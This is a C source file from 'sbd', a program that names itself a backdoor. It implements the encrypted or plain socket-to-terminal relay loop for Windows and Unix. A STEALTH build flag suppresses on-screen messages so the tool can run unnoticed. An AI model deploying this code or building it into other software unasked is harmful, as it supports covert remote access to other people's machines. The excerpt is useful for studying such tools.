1 /*
2 * sbd - shadowinteger's backdoor
3 * Copyright (C) 2004 Michel Blomgren <michel.blomgren@tigerteam.se>
4 *
5 * This program is free software; you can redistribute it and/or modify it
6 * under the terms of the GNU General Public License as published by the Free
7 * Software Foundation; either version 2 of the License, or (at your option)
8 * any later version.
9 *
10 * This program is distributed in the hope that it will be useful, but WITHOUT
11 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
12 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
13 * more details.
14 *
15 * You should have received a copy of the GNU General Public License along
16 * with this program; if not, write to the Free Software Foundation, Inc., 59
17 * Temple Place, Suite 330, Boston, MA 02111-1307 USA
18 *
19 * See the COPYING file for more information.
20 */
21
22 #ifdef WIN32
23
24 /* for Windows... */
readwrite(SOCKET peersd)25 int readwrite(SOCKET peersd) {
26 char buf[BUFSIZE];
27
28 #ifndef WINMAIN
29 int stdin_is_tty;
30 #endif
31
32
33 #ifndef WINMAIN
34 if (!_isatty(STDOUT_FILENO)) {
35 _setmode(STDOUT_FILENO, _O_BINARY);
36 }
37
38 if ((stdin_is_tty = _isatty(STDIN_FILENO)) == FALSE) {
39 _setmode(STDIN_FILENO, _O_BINARY);
40 }
41 #endif
42
43
44 while(1) {
45 fd_set fds;
46 struct timeval tv;
47
48 FD_ZERO(&fds);
49 FD_SET(peersd, &fds);
50
51 tv.tv_sec = 0;
52 tv.tv_usec = 1000;
53
54 if (select(FD_SETSIZE, &fds, NULL, NULL, &tv) != SOCKET_ERROR) {
55 int cnt;
56 if (FD_ISSET(peersd, &fds)) {
57 if (use_encryption) {
58 /* note: pel_recv_msg() modifies cnt */
59 cnt = sizeof(buf);
60 if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
61 #ifdef DEBUG
62 #ifndef WINMAIN
63 fprintf(stderr, "pel_recv_msg failed\n");
64 #else
65 errbox("pel_recv_msg failed!");
66 #endif
67 #endif
68 break;
69 }
70 if (cnt == 0) {
71 break;
72 }
73 } else {
74 if ((cnt = recv(peersd, buf, sizeof(buf), 0)) == SOCKET_ERROR) {
75 int wsaerr = WSAGetLastError();
76 if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
77 continue;
78 } else {
79 break;
80 }
81 } else if (cnt == 0) {
82 break;
83 }
84 }
85
86 #ifndef WINMAIN
87 if (highlight_incoming) {
88 write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
89 write(STDOUT_FILENO, buf, cnt);
90 write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
91 } else {
92 write(STDOUT_FILENO, buf, cnt);
93 }
94 #else
95 #ifndef STEALTH
96 forkmsgbox(buf, cnt);
97 #endif
98 #endif
99
100 }
101 } else {
102 #ifndef WINMAIN
103 if (!quiet)
104 fprintf(stderr, "select(): %s\n", WSAstrerror(WSAGetLastError()));
105 #else
106 #ifndef STEALTH
107 if (!quiet)
108 wsaerrbox("select()", WSAGetLastError());
109 #endif
110 #endif
111 break;
112 }
113
114 #ifndef WINMAIN
115 if (stdin_is_tty) {
116 if (kbhit()) {
117 /* once a key is hit, read() will block until CR has been
118 * received :\ */
119 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
120 if (cnt <= 0) {
121 break;
122 }
123
124 if (use_encryption) {
125 if (prefix_outgoing_with) {
126 char stackbuf[128];
127 snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
128 if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
129 #ifdef DEBUG
130 fprintf(stderr, "pel_send_msg failed\n");
131 #endif
132 break;
133 }
134 }
135 if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
136 #ifdef DEBUG
137 fprintf(stderr, "pel_send_msg failed\n");
138 #endif
139 break;
140 }
141 } else {
142 if (prefix_outgoing_with) {
143 char stackbuf[128];
144 snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
145 send(peersd, stackbuf, strlen(stackbuf), 0);
146 }
147 send(peersd, buf, cnt, 0);
148 }
149 }
150 } else {
151 /* for every line read from the socket, this will block until a CR
152 has been received :(
153 */
154 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
155 if (cnt <= 0) {
156 break;
157 } else {
158 if (use_encryption) {
159 if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
160 #ifdef DEBUG
161 #ifndef WINMAIN
162 fprintf(stderr, "pel_send_msg failed\n");
163 #else
164 #ifndef STEALTH
165 errbox("pel_send_msg failed!");
166 #endif
167 #endif
168 #endif
169 break;
170 }
171 } else {
172 send(peersd, buf, cnt, 0);
173 }
174 }
175 }
176 #endif
177
178 }
179 return 0;
180 }
181
182 #else
183
184 /* for Unix-like operating systems... */
readwrite(int peersd)185 int readwrite(int peersd) {
186 char buf[BUFSIZE];
187 int skipstdin = 0;
188
189 while(1) {
190 fd_set fds;
191 struct timeval to1;
192 int sel;
193
194 FD_ZERO(&fds);
195 if (!skipstdin) {
196 FD_SET(STDIN_FILENO, &fds);
197 }
198 FD_SET(peersd, &fds);
199
200 if (immobility_timeout > 0) {
201 to1.tv_sec = immobility_timeout;
202 to1.tv_usec = 0;
203 sel = select(FD_SETSIZE, &fds, NULL, NULL, &to1);
204 } else {
205 sel = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
206 }
207 if (sel > 0) {
208 int cnt;
209 if (FD_ISSET(STDIN_FILENO, &fds)) {
210 if ((cnt = read(STDIN_FILENO, buf, sizeof(buf))) < 1) {
211 if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
212 continue;
213 } else {
214 skipstdin = 1;
215 continue;
216 }
217 }
218
219 if (use_encryption) {
220 if (prefix_outgoing_with) {
221 char stackbuf[128];
222 snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
223 if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
224 #ifdef DEBUG
225 fprintf(stderr, "pel_send_msg failed\n");
226 #endif
227 break;
228 }
229 }
230 if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
231 #ifdef DEBUG
232 fprintf(stderr, "pel_send_msg failed\n");
233 #endif
234 break;
235 }
236 } else {
237 if (prefix_outgoing_with) {
238 char stackbuf[128];
239 snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
240 send(peersd, stackbuf, strlen(stackbuf), 0);
241 }
242 send(peersd, buf, cnt, 0);
243 }
244 }
245
246 if (FD_ISSET(peersd, &fds)) {
247 if (use_encryption) {
248 /* note: pel_recv_msg() modifies cnt */
249 cnt = sizeof(buf);
250 if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
251 #ifdef DEBUG
252 fprintf(stderr, "pel_recv_msg failed\n");
253 #endif
254 break;
255 }
256 } else {
257 if ((cnt = recv(peersd, buf, sizeof(buf), 0)) < 1) {
258 if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
259 continue;
260 } else {
261 break;
262 }
263 }
264 }
265 if (highlight_incoming) {
266 write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
267 write(STDOUT_FILENO, buf, cnt);
268 write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
269 } else {
270 write(STDOUT_FILENO, buf, cnt);
271 }
272 }
273 } else {
274 /* break loop if select() returns 0 or < 0 */
275 break;
276 }
277 }
278 return 0;
279 }
280 #endif
281